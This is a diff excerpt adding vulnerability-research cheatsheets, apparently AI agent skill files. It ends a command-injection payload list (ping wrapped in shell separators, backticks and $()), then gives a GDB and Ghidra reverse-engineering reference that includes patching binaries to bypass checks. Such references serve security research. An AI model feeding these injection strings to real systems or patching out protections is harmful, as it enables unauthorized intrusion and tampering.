|
+
|
|
167
|
+
```text
|
|
168
|
+
& ping -c 10 127.0.0.1 &
|
|
169
|
+
; ping -c 10 127.0.0.1 ;
|
|
170
|
+
| ping -c 10 127.0.0.1 |
|
|
171
|
+
|| ping -c 10 127.0.0.1 ||
|
|
172
|
+
`ping -c 10 127.0.0.1`
|
|
173
|
+
$(ping -c 10 127.0.0.1)
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-cheatsheet-reverse_engineering
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: reverse_engineeringgated: true
|
|
5
|
+
---
|
|
6
|
+
# 🔄 Reverse Engineering (Ghidra & GDB) Cheatsheet
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## 🐞 1. GDB: Dynamic Analysis & Execution Control
|
|
11
|
+
|
|
12
|
+
*Commands for stepping through execution, setting breakpoints, and controlling the binary flow.*
|
|
13
|
+
|
|
14
|
+
### Starting & Attaching
|
|
15
|
+
|
|
16
|
+
*Launch binaries or hook into running processes.*
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
gdb ./binary # Start GDB with the target binary
|
|
20
|
+
gdb -p <PID> # Attach to a running process
|
|
21
|
+
gdb -c core ./binary # Load a core dump for post-crash analysis
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
### Execution & Breakpoints
|
|
26
|
+
|
|
27
|
+
*Control how the program runs and where it stops.*
|
|
28
|
+
|
|
29
|
+
| Command | Shortcut | Description |
|
|
30
|
+
| --- | --- | --- |
|
|
31
|
+
| `run [args]` | `r` | Start execution (optionally pass CLI arguments). |
|
|
32
|
+
| `break *0xADDR` | `b` | Set a breakpoint at a specific memory address. |
|
|
33
|
+
| `break main` | `b` | Set a breakpoint at a function name. |
|
|
34
|
+
| `continue` | `c` | Resume execution until the next breakpoint or crash. |
|
|
35
|
+
| `stepi` | `si` | Execute exactly one machine instruction (steps *into* calls). |
|
|
36
|
+
| `nexti` | `ni` | Execute one machine instruction (steps *over* calls). |
|
|
37
|
+
| `finish` | | Run until the current function returns. |
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## 🧠 2. GDB: Memory & Register Inspection
|
|
42
|
+
|
|
43
|
+
*Commands for dumping memory contents and analyzing the CPU state.*
|
|
44
|
+
|
|
45
|
+
### Examining Registers
|
|
46
|
+
|
|
47
|
+
*View the current state of CPU registers.*
|
|
48
|
+
|
|
49
|
+
```gdb
|
|
50
|
+
info registers # Show all standard integer registers
|
|
51
|
+
info registers eflags # Show status flags (Zero flag, Carry flag, etc.)
|
|
52
|
+
print $rax # Print the value of a specific register
|
|
53
|
+
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Examining Memory (`x` command)
|
|
57
|
+
|
|
58
|
+
*Format: `x/[Count][Format][Size] Address*`
|
|
59
|
+
|
|
60
|
+
```gdb
|
|
61
|
+
# Formats: x (hex), d (decimal), s (string), i (instruction)
|
|
62
|
+
# Sizes: b (byte), h (halfword/2-bytes), w (word/4-bytes), g (giant/8-bytes)
|
|
63
|
+
|
|
64
|
+
x/10i $pc # Disassemble the next 10 instructions at the Program Counter
|
|
65
|
+
x/4xg $rsp # View the top 4 QWORDs (8-bytes) on the stack
|
|
66
|
+
x/s 0x4005d0 # Read a null-terminated string at the specified address
|
|
67
|
+
x/32wx $rbp-0x20 # Dump 32 DWORDs (4-bytes) in hex starting from a local variable
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## 🐉 3. Ghidra: Static Analysis & Navigation
|
|
74
|
+
|
|
75
|
+
*Shortcuts and workflows for mapping out the binary without executing it.*
|
|
76
|
+
|
|
77
|
+
### Core Navigation Shortcuts
|
|
78
|
+
|
|
79
|
+
*Move around the disassembly and decompiled views quickly.*
|
|
80
|
+
|
|
81
|
+
| Action | Shortcut | Description |
|
|
82
|
+
| --- | --- | --- |
|
|
83
|
+
| **Go To Address** | `G` | Jump to a specific hex address or symbol name. |
|
|
84
|
+
| **Find References** | `Ctrl + Shift + F` | Find cross-references (XREFs) to a function or string. |
|
|
85
|
+
| **Search Strings** | `Search -> For Strings` | Extract all hardcoded strings (useful for finding error messages). |
|
|
86
|
+
| **Search Memory** | `Search -> Memory` | Scan for specific hex byte sequences or patterns. |
|
|
87
|
+
| **Rename Symbol** | `L` | Rename a function, variable, or label (updates globally). |
|
|
88
|
+
|
|
89
|
+
### Decompiler Manipulation
|
|
90
|
+
|
|
91
|
+
*Clean up Ghidra's C-pseudocode output to make it readable.*
|
|
92
|
+
|
|
93
|
+
```text
|
|
94
|
+
- Retype Variable (Ctrl + L): Change an 'int' to a 'char*' or custom struct pointer.
|
|
95
|
+
- Edit Function Signature: Right-click the function name to fix incorrect arguments/returns.
|
|
96
|
+
- Auto-Create Struct: Right-click a pointer variable -> "Auto Create Structure" to map offsets.
|
|
97
|
+
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 🌉 4. Bridging Ghidra and GDB (Dealing with ASLR/PIE)
|
|
103
|
+
|
|
104
|
+
*When a binary is compiled with PIE (Position Independent Executable), Ghidra's static addresses won't match GDB's dynamic addresses.*
|
|
105
|
+
|
|
106
|
+
### Step 1: Find Ghidra's Image Base
|
|
107
|
+
|
|
108
|
+
1. Open the **Memory Map** in Ghidra (`Window -> Memory Map`).
|
|
109
|
+
2. Look at the `Start` address of the executable segment (usually `0x00100000` or `0x00400000`).
|
|
110
|
+
|
|
111
|
+
### Step 2: Find GDB's Process Base
|
|
112
|
+
|
|
113
|
+
1. Start the program in GDB and hit a breakpoint.
|
|
114
|
+
2. Run `info proc mappings` or `vmmap` (if using GEF/Pwndbg).
|
|
115
|
+
3. Look for the lowest start address associated with your binary's path.
|
|
116
|
+
|
|
117
|
+
### Step 3: Calculate the Target Address
|
|
118
|
+
|
|
119
|
+
*To set a breakpoint in GDB at a function you found in Ghidra:*
|
|
120
|
+
|
|
121
|
+
```text
|
|
122
|
+
Target GDB Address = (Ghidra Function Address - Ghidra Image Base) + GDB Process Base
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
---
|
|
127
|
+
|
|
128
|
+
## 🩹 5. Binary Patching (Ghidra)
|
|
129
|
+
|
|
130
|
+
*Modifying the binary to bypass checks or alter behavior.*
|
|
131
|
+
|
|
132
|
+
### Modifying Instructions
|
|
133
|
+
|
|
134
|
+
1. Go to the Listing View (Disassembly).
|
|
135
|
+
2. Right-click the instruction -> **Patch Instruction** (`Ctrl + Shift + G`).
|
|
136
|
+
3. Type the new assembly (e.g., change `je` to `jmp`, or write `nop`).
|
|
137
|
+
|
|
138
|
+
### Exporting the Patched Binary
|
|
139
|
+
|
|
140
|
+
1. File -> **Export Program** (`O`).
|
|
141
|
+
2. Set Format to **Binary** or **Original File**.
|
|
142
|
+
3. *Note: Original File export might require external scripts (like `SavePatch.py`) to properly rebuild ELF/PE headers depending on the Ghidra version.*
|
|
143
|
+
|
|
144
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|